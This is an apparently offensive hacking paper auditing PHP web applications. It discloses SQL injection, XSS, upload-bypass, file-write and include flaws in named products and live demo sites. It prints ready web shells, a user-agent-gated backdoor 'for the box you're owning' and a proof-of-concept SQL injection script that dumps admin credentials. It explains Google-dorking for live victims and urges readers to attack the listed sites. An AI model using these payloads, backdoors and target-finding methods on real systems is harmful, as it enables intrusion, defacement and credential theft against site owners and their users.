Check_game_type.php

This is how I was able to hack into the main site. A really crappy black list. Not only that, but it also doesn't properly check in the first place for multiple extensions in files.

Lemme show you:

```
<?

$f_type=$_FILES['gamefile']['type'];

$f_name=$_FILES['gamefile']['name'];

if(strstr($f_name, "php")!==false||strstr($f_name, "cgi")!==false||strstr($f_name,
"pl")!==false||strstr($f_name, "html")!==false||strstr($f_name, "psd")!==false||strstr($f_name,
"exe")!==false)

{

exit("<center><b>THIS IS WRONG FILE TYPE!!!</b><br><a href='upload_game.php'>Go Back to game
Upload Section </a></center>");

}

if(strstr($f_type, "x-shockwave-flash")!==false||strstr($f_name, ".dcr")!==false)

{

        echo "<br><br><br><br><br><br><center>Game Checked... ContentChecker1.0</center>";

}

else

{exit("<center><b>THIS IS WRONG FILE TYPE!!!</b><br><a href='upload_game.php'>Go Back to game
Upload Section </a></center>");

}

?>
```

As I've stated earlier in the discussion as well as in my Webshells in Server Side Languages paper, there is more than one way to make a php file.

Lets say this developers intended code works the way it should. It is missing 5 other extensions that can be executed as php code ie;

.php3, .php4, .php5, .phtml, and .inc. I was able to upload a web shell to execute my server side code by passing 'frame.php.j32713t.jpg' as a file name.

Since the script is only checking for the ending extension, i get away with my file name and can execute commands by visiting the "image".

Check_banner_type.php

Same as above.

Check_video_type.php

Same as above

Sh.php

Why in the FUCK is this in here? Who the FUCK puts a web shell in their OWN script...unless of course...I am not the first to own this?

```
<html>

<?

$c=$_GET['c'];

echo "

<form action=\"$PHP_SELF\" method=\"POST\">

[".exec("whoami")."@$SERVER_NAME ".exec("pwd")."] \$ <input size=22 type=text name=c
value='$c'><br><br>

<font face='Lucida Console, Courier'><pre>";

if ($c)    passthru($c." 2>&1"); ?>

</form>

</pre>

</html>
```

Point.php in $gId=$_GET[gId]; & $cName=$_GET[cName];

```
$sql = "SELECT * FROM games where gId like '$gId'";

$rs = mysql_query($sql, $db) or die(mysql_error());

$totalrows = mysql_numrows($rs);

$sql = "SELECT * FROM games where gId like '$gId'";

$rs = mysql_query($sql, $db) or die(mysql_error());

$datas = mysql_fetch_array($rs);

//==echo "$datas[points]";

$points=$datas[points] + 1;

mysql_query ("update games SET points = $points Where gId = $gId");
```

C.php

File and directory abuse.

```
$number=$_GET['num'];

$num=rand(2213445, 5567843);

$f=fopen("cap_rout/$number.ddflopq120967", "wt");

fputs($f, $num);

fclose($f);
```

I'm feeling lucky. I was looking around the php-junkyard for gambling stuff and found this bingo crap. B_I_N_G_O. It was rightfully in the junkyard. Full of crap.

For starters, take a look at this function.

Oh look,

```
function save_old_winners(&$winners) {
        global $setid;


        if (@$fp=fopen("data/old_winners.".$setid.".dat","w")) {
                fwrite($fp, serialize($winners));
                fclose($fp);
        }
}
```

Notice the global variable. The $setid variable can be abused if REGISTER_GLOBALS is enabled and in this case, can be used to arbitrarilt WRITE files. Not a good thing.

http://getmyownarcade.com/demo/thumbnails/frame.php.j32713t.jpg?lol=cd%20../../../../;ls

Mainly globally setting the $setid variable. if register globals was enabled, we could fwrite() stuff

this is in

C:\Users\Evil1\Downloads\bingoware1.5\bingoware\include\functions.php

Mi-Dia blog from http://www.mi-dia.co.uk is aimed at being a simplistic modular blog. While it seems like I only target the worst sites, and code, that is not true.

This particular package makes a conscious effort to avoid security problems. Here, let me show you.

```
function clean( $c ){$cl = mysql_real_escape_string(strip_tags($c));return $cl;}

function check_email ( $email ){
```

```
global $prefix, $dbslave, $dbmast;

if (preg_match("/^[a-z0-9]+([_\\.-][a-z0-9]+)*@([a-z0-9]+([\.-][a-z0-9]+)*)+\\.[a-z]{2,}$/i", $email)){

$cutemail = strstr($email, '@');
```

As you can see, we have regular expressions,, filter functions, and a general paranoia of what's outside. I like that. So how is this particular package

vulnerable? Since it looks like every function that deals with use data has been 'clean()'ed, all we have to do is find placed the developer missed. As

painstaking as it is, I went through all 67 files line by line right after using grep on every other request variable I could think of. To the victor go

the spoils.

Under the folder kaibb/mod/core/ in bans.php:

```
if ( !isset($_GET['d']) ){ $d = ''; }else{ $d = $_GET['d'];}

if ( $d && $account['level'] > '0' ){

$del = mysql_query("DELETE FROM ".$dbslave.".".$prefix."_banlist WHERE id = '$d'");

obslog( "deleted rank (".$d.")" , "Staff Panel Users" , '1' );

redirect("./?area=modcp&s=bans", true);}
```

Notice the lack of a clean() function around the $d variable. Maybe the guy was in a rush? I'm sure there are others since I was kind of in a hurry myself to

own the package and move on. Classic SQLI. It won't be 'blind' either since we have the source and the DB structure.

Whilst browsing the interbutts, I encountered this site offering a sleugh of products and services. All had demos and all were SHIT.

Unlike a few of my other vulnerabilities which are in free, open source applications, this site wants me to PAY between 25 and 50 dollars for access to about 6 of their scripts.

I've never purchased 'shit' before, and the 300 dollar price tag wasn't looking too good considering the product. Alas, I will TRY and reconstruct what I see.

http://www.availscript.com/classmate/viewprofile.php?p=2%27

Fairly obvious SQL Injection vuln here via what I can guess is a $REQUEST variable. Let's put it into code:

```
<?php

$crap = $_REQUEST['p'];

$qry = "SELECT profile,name,age,sex,color FROM classcrap WHERE color = " . $crap;

?>
```

This is what I gathered to be the case. No filtering, no validation, no nothing. So you can see why its so easy to hack right? In this case, I didn't even NEED source code.

Don't just take my word for it, surf over to availscript.com and see for yourself. It's not just SQLI either. While messing around, I noticed I could upload pictures with

php codes inside. Like usual, all I had to do was create a new file, throw the following inside:

```
<?php

system($_GET['lol']);

?>
```

then name the file something like frame.php.lemonparty.jpg. Since of course the uploader see's the .jpg at the end, it's like "whatever", while apache see's the .php preceeding it

and is like "sure bro whatever" and executes the code inside. I look at my newly updated profile and see a link to my "picture", then access the url directly with something like

http://availscript.com/crap/demo/images/userprofiles/frame.php.lemonparty.jpg?lol=echo "this site IS crap" > ../../../../index.php

Oh course, hypothetical hilarity ensues.

Serioisly though, they're all vulnerable, every app, go peek.

http://demo.datingpro.com/dating/fckeditor/editor/filemanager/connectors/test.html

this datingsite needs some work with the whole fckeditor thing

I encountered this site on scriptbank as some sort of e-harmony knock off. It was encoded with Ion-cube, but that didn't matter. The CMS's achilles heal lies in some of the

modules they use. Of particular interest is the older version of FckEditor. For those of you who don't remember, you can upload arbitrary files (yes even php files) as part of its

"test" page. You don't need source code to see what's wrong with this picture. As per usual, I have a link. Be gentle:

http://demo.datingpro.com/dating/fckeditor/editor/filemanager/connectors/test.html

Don't do anything I wouldn't do.

I found this blog suite called "pluggedout" (whatever that means) while while looking on sourceforge.

Not really much stood out other than a classic case of XSS in the file probelm.php:

```
<?php

$html = "<html>\n"

        ."<head>\n"

        ."<title>PluggedOut Blog - Problem</title>\n"

        ."</head>\n"

        ."<style>\n"

                ."BODY {background-color:#eee;}\n"

                ."H1 {font-family:\"Trebuchet MS\",Tahoma,Verdana,Arial,Helvetica;font-size:28px;line-
height:30px;font-weight:bold;}\n"
```

```
			."P {font-family:Verdana,Arial,Helvetica;font-size:11px;line-height:13px;}\n"

			."TD {font-family:Verdana,Arial,Helvetica;font-size:11px;line-height:13px;}\n"

		."</style>\n"

		."<body>\n"

		."<div style='width:500px;background-color:#fff;border:1px solid
#aaa;padding:10px;margin:10px;'>\n"

		."<h1>A Problem Has Occurred</h1>\n";

$html .= "<p>A problem has occurred in the PluggedOut Blog script.</p>\n"

		."<p>File : ".$_SERVER["HTTP_REFERER"]."\n"

		."<br>Function : ".$_REQUEST["f"]."\n"

		."<br>Problem (if specified) : ".$_REQUEST["p"]."\n"

		."</p>\n";

// the function usually gets reported back to here as the "f" parameter

switch ($_REQUEST["f"]){

		case "db_connect":

			$html .= "<p>A problem has occurred connecting the the database - this usually means
the database connection settings are wrong in the lib/config.php file";

			break;

		default:

			$html .= "<p>This problem has no detailed assistance yet.</p>\n";

			break;

}

$html .= "</div>\n"

		."</body>\n"

		."</html>\n";

print $html;
```

```
?>
```

How ironic that the guy's error handling page has a security hole in it. No filtering for the referer or the 'p' variable which can be GET or POST. The file 'problem.php'

itsself is in more than 1 directory, so the developer probably just "copypasta'd" it over and over. Take a peek if you want: http://pluggedout.sourceforge.net/

aa

http://code.google.com/p/etraxis/source/browse/trunk#trunk%2Fsrc%2Fdbo

maybe an unauth vuln

http://code.google.com/p/peertracker/

Peertracker is an open sourced bit torrent tracker that is very minimalist in that there are just a few files and functions.

It may seem like a lot of the code I am grabbing is non linear. No classes, no objects, no nothing. That is a BALL FACED LIE and you know it. Take for example this open source

peer tracker I found on googlecode. In the mysql-tracker class, I see many vulns ripe for the picking. Here are some functions:

```
                    // insert new peer
    public static function new_peer()
    {
        // insert peer
        self::$api->query(
            // insert into the peers table
            "INSERT IGNORE INTO `{$_SERVER['tracker']['db_prefix']}peers` " .
            // table columns
            '(info_hash, peer_id, compact, ip, port, state, updated) ' .
            // 20-byte info_hash, 20-byte peer_id
            "VALUES ('{$_GET['info_hash']}', '{$_GET['peer_id']}', '" .
            // 6-byte compacted peer info
            self::$api->escape_sql(pack('Nn', ip2long($_GET['ip']), $_GET['port'])) . "', " .
            // dotted decimal string ip, integer port, integer state and unix timestamp updated
            "'{$_GET['ip']}', {$_GET['port']}, {$_SERVER['tracker']['seeding']}, " . time() . '); '
        ) OR tracker_error('failed to add new peer data');
    }
```

I like how the guy uses a custom escape function derived from some api to filter sql code from the IP address and port number, not not the '$peer_id' or '$info_hash' variables.

I mean, who would look there? Here we go again

```
// full peer update
    public static function update_peer()
    {
        // update peer
        self::$api->query(
            // update the peers table
            "UPDATE `{$_SERVER['tracker']['db_prefix']}peers` " .
            // set the 6-byte compacted peer info
            "SET compact='" . self::$api->escape_sql(pack('Nn', ip2long($_GET['ip']), $_GET['port'])) .
            // dotted decimal string ip, integer port
```

```
                "', ip='{$_GET['ip']}', port={$_GET['port']}, " .
                // integer state and unix timestamp updated
                "state={$_SERVER['tracker']['seeding']}, updated=" . time() .
                // that matches the given info_hash and peer_id
                " WHERE info_hash='{$_GET['info_hash']}' AND peer_id='{$_GET['peer_id']}'"
            ) OR tracker_error('failed to update peer data');
        }
```

Same thing again. Why escape the port and IP, but not the peer_id? But wait, theres more!

```
// update peers last access time
        public static function update_last_access()
        {
            // update peer
            self::$api->query(
                // set updated to the current unix timestamp
                "UPDATE `{$_SERVER['tracker']['db_prefix']}peers` SET updated=" . time() .
                // that matches the given info_hash and peer_id
                " WHERE info_hash='{$_GET['info_hash']}' AND peer_id='{$_GET['peer_id']}'"
            ) OR tracker_error('failed to update peers last access');
        }

        // remove existing peer
        public static function delete_peer()
        {
            // delete peer
            self::$api->query(
                    // delete a peer from the peers table
                    "DELETE FROM `{$_SERVER['tracker']['db_prefix']}peers` " .
                    // that matches the given info_hash and peer_id
                    "WHERE info_hash='{$_GET['info_hash']}' AND peer_id='{$_GET['peer_id']}'"
            ) OR tracker_error('failed to remove peer data');
      }

      // tracker event handling
      public static function event()
      {
            // execute peer select
            $pState = self::$api->fetch_once(
                    // select a peer from the peers table
                    "SELECT ip, port, state FROM `{$_SERVER['tracker']['db_prefix']}peers` " .
                    // that matches the given info_hash and peer_id
                    "WHERE info_hash='{$_GET['info_hash']}' AND peer_id='{$_GET['peer_id']}'"
            );
   public static function peers()
      {
            // fetch peer total
            $total = self::$api->fetch_once(
                    // select a count of the number of peers that match the given info_hash
                    "SELECT COUNT(*) FROM `{$_SERVER['tracker']['db_prefix']}peers` WHERE
info_hash='{$_GET['info_hash']}'"
            ) OR tracker_error('failed to select peer count');
```

```
// select
$sql = 'SELECT ' .
    // 6-byte compacted peer info
    ($_GET['compact'] ? 'compact ' :
    // 20-byte peer_id
    (!$_GET['no_peer_id'] ? 'peer_id, ' : '') .
    // dotted decimal string ip, integer port
    'ip, port '
    ) .
    // from peers table matching info_hash
    "FROM `{$_SERVER['tracker']['db_prefix']}peers` WHERE info_hash='{$_GET['info_hash']}'"
.
    // less peers than requested, so return them all
    ($total[0] <= $_GET['numwant'] ? ';' :
        // if the total peers count is low, use SQL RAND
        ($total[0] <= $_SERVER['tracker']['random_limit'] ?
            " ORDER BY RAND() LIMIT {$_GET['numwant']};" :
            // use a more efficient but less accurate RAND
            " LIMIT {$_GET['numwant']} OFFSET " .
            mt_rand(0, ($total[0]-$_GET['numwant']))
        )
    );

// begin response
$response = 'd8:intervali' . $_SERVER['tracker']['announce_interval'] .
```

```
        'e12:min intervali' . $_SERVER['tracker']['min_interval'] .
        'e5:peers';

// compact announce
if ($_GET['compact'])
{
    // peers list
    $peers = '';

    // build response
    self::$api->peers_compact($sql, $peers);

    // 6-byte compacted peer info
    $response .= strlen($peers) . ':' . $peers;
}
// dictionary announce
else
{
    // list start
    $response .= 'l';

    // include peer_id
    if (!$_GET['no_peer_id']) self::$api->peers_dictionary($sql, $response);
    // omit peer_id
    else self::$api->peers_dictionary_no_peer_id($sql, $response);
```

```
        // list end

        $response .= 'e';

    }


    // send response

    echo $response . 'e';


    // cleanup

    unset($peers);

}
```

Jeeeesuuus. He keeps making the same mistake over and over. Only in the final functions does he at least get it right once.

```
public static function scrape()

    {

        // scrape response

        $response = 'd5:filesd';


        // scrape info_hash

        if (isset($_GET['info_hash']))

        {

            // scrape

            $scrape = self::$api->fetch_once(

                // select total seeders and leechers

                'SELECT SUM(state=1), SUM(state=0) ' .
```

```
                    // from peers
                    "FROM `{$_SERVER['tracker']['db_prefix']}peers` " .
                    // that match info_hash
                    "WHERE info_hash='" . self::$api->escape_sql($_GET['info_hash']) . "'"
                ) OR tracker_error('unable to scrape the requested torrent');


                // 20-byte info_hash, integer complete, integer downloaded, integer incomplete
                $response .= "20:{$_GET['info_hash']}d8:completei" . ($scrape[0]+0) .
                        'e10:downloadedi0e10:incompletei' . ($scrape[1]+0) . 'ee';
            }
```

Why here on "WHERE info_hash='" . self::$api->escape_sql($_GET['info_hash']) . "'" but no where else? What was he thinking? Support torrents.

Another thing I should note in ODCms is the fact that they use FLAT files for database processing. And there's no .htaccess blocking me from downloading files.

You can download the member's database file no questions asked. Also, when I googled "Powered by ODCMS" I found 5 thousand results. 5 thousand sites ripe for

the picking :)

The file is "odcms.tpls" in the site root.

in \codes\include\smarkup\parsers\test.php

http://demo.odcms.net/_announcements/index.php?type=info

useful for info gatheting

```
<?php

if (isset($_POST['data']))
```

```
{
        echo $_POST['data'];
}
?>
```

A test script thats vulnerable to XSS. How subtle.

From the same people who brought us ODCMS, we have WCMS. Like its baby brother, the CMS also uses SQLite flat files for data storage...files than can be ACCESSED by us. *facepalm*.

Right from the get go, I noticed the following suspect code in index.php

```
<?php
session_start();
if($_GET['type'] == "info")
{
    phpinfo();
    exit;
}
$site = userSite("main"); // file is the default site
include_once ("$site/localFunctions.php");
include_once ('wcms.php');
new wCMS($site);
function userSite($default)
{
        $site = $_REQUEST['site'];
        if(!$site)
        {
                $site = $_SESSION['site'];

                if(!$site) $site = $default;

        }

        if(! file_exists("$site/localFunctions.php") )

        {

                $site = $default;

        }

        $_SESSION['site'] = $site;


        return $site;

}

?>
```

Its looking for the request variable $site. it makes sure the file exists, and includes it. How could this be vulnerable? What if....we were to use apache's error log files and appended a null byte? This would be a valid location and hence pass the file_exists() function, and the null byte would ensure that our error_log file is inluded and not localFunctions.php. From there we would be able to run code (though first we would need to throw some php code in our user agent or maybe as part of an HTTP REQUEST string for it to be counted in the logs.

in case you're wondering how to (google)dork for targets, here is a search string:

"Original design by wfiedler Powered by w-CMS"

In file cpanel.php

Clearly this is an administrative function, but I dont see the login check anywhere:

```
<?php

  if($_REQUEST['albums']=="upload" || $_REQUEST['files']=="upload")

  {
```

```
            echo "
<script src='js/jquery.js' type='text/javascript'></script>
<script src='js/jquery.form.js' type='text/javascript' language='javascript'></script>
<script src='js/jquery.MetaData.js' type='text/javascript' language='javascript'></script>
<script src='js/jquery.MultiFile.js' type='text/javascript' language='javascript'></script>
<script src='js/jquery.blockUI.js' type='text/javascript' language='javascript'></script>
";
  }
?>
```

So what we have here is an unchecked file upload vulnerability!

In file updatecontent.php

I smell file and directory abuse. I see a call to fopen() and fwrite() that both can be controlled by outside users! We can write whatever we want! Just include ue olde nullbute of course.

```
<?php


  session_start();


  if(isset($_POST['cancel']))
  {
            echo "<html><head></head><body onload='window.top.hidePopWin()'></body></html>";
            exit;
  }
  $language = $_POST['language'];
  if($language=="en") $language = "";
  if($language) $language = "/$language";
```

```
$site = $_POST['site'];
if(!$site) $site = $_SESSION['site'];
if(!$site) $site = "main";

$fieldname = $_REQUEST['fieldname'];

$encrypt_pass = @file_get_contents("$site/password");
if (!$_COOKIE['wcms'])
{
        echo "You must <a href='admin.php'>login</a> first before you can use this function!";
        exit;
}
 $content = rtrim(stripslashes($_REQUEST['htmlArea']));
// if to only allow specified tags
//$content = strip_tags($content,"<p><u><img><i><h1><h2><h3><a><strong><em><strike><b>")

if($_GET['fieldname'])
{       // convert new line to <br><br> for inline editing
        $content = preg_replace("/\n\n/","\n<br><br>\n",$content);
}

if(!$content) $content = "Please enter content...";

$content = preg_replace ("/%u(....)/e", "conv('\\1')", $content);
```

```
  $file = @fopen("$site$language/$fieldname", "w");

  if(!$file)

  {

          echo "<p class='error'>*** FATAL *** unable to open
$site$language/$fieldname</p><p>Please make sure read/write permissions are enabled.</p>";

          exit;

  }

  fwrite($file, $content);

  fclose($file);


  echo "<html><head></head><body
onload='window.top.location.reload();window.top.hidePopWin()'></body></html>";

  exit;


  // convert udf-8 hexadecimal to decimal

  function conv($hex)

  {

          $dec = hexdec($hex);

          return "&#$dec;";

  }

?>
```

See it? $file = @fopen("$site$language/$fieldname", "w");

```
$fieldname = $_REQUEST['fieldname'];

fwrite($file, $content);

fclose($file);
```

The only 'deterant' I see is a cookie check, but there is a problem with this check.

```
if (!$_COOKIE['wcms'])

  {

        echo "You must <a href='admin.php'>login</a> first before you can use this function!";

        exit;

  }
```

Notice it only checks for the EXISTANCE of the 'wcms' cookie, but not the VALUE of whats inside. If we create the cookie first hand, then access the page, or include it in our

custom request, the script just passes it along as authenicated. Awesome.

http://www.direct-news.fr/en/web-content-management-cms/

```
// Verification de l'existence de la langue

if (isset($_GET['lang']))

{

      $_SESSION[DN_UID]['lg'] = $_GET['lang'];

}

else

{

      $_SESSION[DN_UID]['lg'] = $_GET['lg'];

}


$lg = $_SESSION[DN_UID]['lg'];


$requete = 'SELECT code

                FROM '. $name_table_language .'
```

```
                              WHERE code = "'. $lg .'"
```

inside DirectNews 4.10 under index.php. classic SQLI inside GET variable.

http://www.direct-news.fr/en/web-content-management-cms/

Also total XSS in the switch statement inside remote.php'

Form admin showadmin.php

```
if (!empty($_GET['msg_id']) && is_numeric($_GET['msg_id']))
{
        $req = 'SELECT * FROM ' . $name_table_form_historique . ' WHERE message_id = ' .
$_GET['msg_id'];
        $message = mysql_fetch_assoc(sql_query($req));

        $req = 'UPDATE ' . $name_table_form_historique . ' SET vu = 1 WHERE message_id = ' .
$_GET['msg_id'];
        sql_query($req);
        //$message['message'] = str_replace('../modules/form/documents',
'modules/form/documents', $message['message']);
        $xtpl->assign($message['message'], 'message');
}
```

then /admin/config/cache_lists-swf.php Total XSS everywhere

http://asmartins.com/modules/upload/

I went through a lot of code here. This is nothing comopared to the mountain of code I looked through to find these ones especially for this paper for their ease and flow.

Once again, please use these 0day vulnerabilities for educational purposes only. And if you do "tag" then please, do so responsibly.

Section 5: Tips and Tricks

What tutorial wouldn't be complete without a few tips for hax0r1ng teh c0dz0rz? Outlined are a few tips for finding stuff.

(add pics here to pad it out)

-Just becuase the index isn't vulnerable to attack doesn't mean other files through out the web app aren't vulnerable to attack. Like in my n13 news portal 0day, the index.php file checked for attacks, but the rest of the files did not (such as rss.php). Check em all out.

-Check file dates of when the last files were modified. The older files may prove more useful than the newer files seeing as though they were modified last.

-Grep and find are your best friend if you have a lot of code to search. These 2 Unix utilities I miss the most when I'm stick on windows, but fortunately there are windows ports. Window's own native search utility sucks ass and usually fails to find strings within files. Get them for windows here: http://unxutils.sourceforge.net/

-I always start with user input and trace my way back. On bigger applications, this may not always be best (or as effecient time wise). If you're lazy, try starting with the core / function files and looking for some weak filtering and handling. You ever know if someone used preg_match() and added the ability for you to specify an exec character, or better, wrote the regex wrong and it lets you bust script code out.

-If you're not having much luck with one php web app, remember theres a hundred thousand other apps.

-PHP web applications aren't just limited to stand alone applications. Pick on some joomla modules, PHPnuke modules, or wordpress plugins. One bad plugin or module can comprimise the entire application.

-You can get php info on any php page usually by entering "?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000" to the php extension of the page. here is a list of different stuff you can find:

* PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 - PHP Credits

* PHPE9568F34-D428-11d2-A769-00AA001ACF42 - PHP Logo

   * PHPE9568F35-D428-11d2-A769-00AA001ACF42 - Zend Logo

   * PHPE9568F36-D428-11d2-A769-00AA001ACF42 - Easter Egg

View the response headers of the PHP logo for the version. If hat doesn't work, check the easter egg. The spotted dog means php version 4, while the fuzzy logo means php version 5.

-if you need a cheap and easy backdoor without trusting the box you're owning to the hands of some russian who probably (and ironicly) backdoored his backdoor, use this:

```
<?php

$user = "evil1";

if($_SERVER['HTTP_USER_AGENT'] == $user)

{

if(isset($_REQUEST['cmd'])){

echo "<pre>";

$cmd = ($_REQUEST['cmd']);

system($cmd);

echo "</pre>";

}

}

else

{

header("location: http://www.gironstudios.com");

}

?>
```

A few lines of code and you have your self a password protected backdoor that can only be accessed by changing your user agent to match your password. Nift huh?

-Always check to see if the directory permissions are in your favor for the site you're auditing. 0777 means we can read, write and execute which can be a burden and a blessing. If an attacker gets access to a function that can write files, then he can overwrite other php files with his own code. If the site has no need for modifying files, the directory permissions SHOULD reflect this.

Section 6: GreyBoxing

Greyboxing - duality of black and white. This is where you actively attack a web site or server with source code in hand. This is kind of like what we've been doing, though it applies more toward black hats since we're trying to get access with source in hand, rather than just find and fix vulnerabilities without touching the actual application in motion. That's the difference between black box and white box testing, black boxing lacks source code and attacks the app head on without prior knowledge of the app's inner workings. White boxing is where you just attack the code with a text editor or finder and formulate what an attacker could do if he tried it. Grey boxing combines the best of both worlds to achieve elevated access or make the app do something it was not supposed to do.

How do you grey box like a pro? Recall the tools I mentioned earlier in the tools section. We'll need those. A web server of our own (or some random person's site should you feel 'hardcore') is nice to have in hand. Firefox with the aforementioned suggested addons. Without going into too much detail like I have done through out the paper, one method is just testing each point of user input for vulnerabilities, then if you get an error or are successful, you trace back to where the error / vuln is with your source code in hand. The other method is to find the bugs / vulns ahead of time, and prove they actually work and can get you access in the wild or controlled environment. Once again, I should stress its best to test them on your own box in a controlled environment for legal purposes. But since this is america, and I reserve my right to free speech, I will also cover finding live targets to test vulnerabilites on. The best way is to find some string (selection of words / characters) or image that is unique to the application. This could also come in the form of a file name. Google them and reap the benefits of your own dork!

Say you want to find some targets running our previously discussed 0day, newbie cms. Find a string. "Powered By NewBie CMS" seems to work best. Googling this gives our targets. That's it.

What if we find a vuln, but want it to work in the wild on the fly? We'll need to code a proof of concept exploit. They're easy to make and I will provide you with an example.

POC code here

```
<?php

$hax = "%20-
1%20UNION%20ALL%20SELECT%20concat("username,":",password),6,6,6,6,6,6,6,6,6,6%20FROM%20tbl
_admin/*";
```

```
$url = "http://target.com/";

$path = "path/to/app.php?rss_id="; // change as needed

$hax = $path . $hax; // concat strings

trim($hax, " ");

$fp = fsockopen($url, 80, $errno, $errstr, 30);

if (!$fp) {

   echo "host is dead. =( <br />\n";

echo "$errstr ($errno)<br />\n";

} else {

    $out = "GET /" . $hax . " HTTP/1.1\r\n";

    $out .= "Host: " . $url . "\r\n";

    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);

    while (!feof($fp)) {

              if(fgets($fp, 128)) == "404"

              {

              echo "fail";

              exit();

              }

        echo fgets($fp, 128);

              echo "Success!";

    }

    fclose($fp);

}
```

```
?>
```

See? Nothing much to it. Build the argument for the URL, get the host name, get the path to the app, and launch the request with fsockopen. But what if your injection vector isn't in a GET request? What if its in a cookie variable or in a POST request? Same rules apply, except we build the fsockopen output use POST instead of get, and use the COOKIE parameter for specifying session info, or perhaps our payload. If you need to know more about other HTTP response parameters, read the damn RFC, it goes over everything you'll ever need to know, and stuff you probably don't need to know about like special WEBDAV requests and the PUT request. Check it out here:

http://www.w3.org/Protocols/rfc2616/rfc2616.html

Section 7: Call me, we'll do lunch!

Thank you for reading my paper or listening to me speaks. Are you in the Austin area or general Texas vicinity? Email me, we'll do lunch.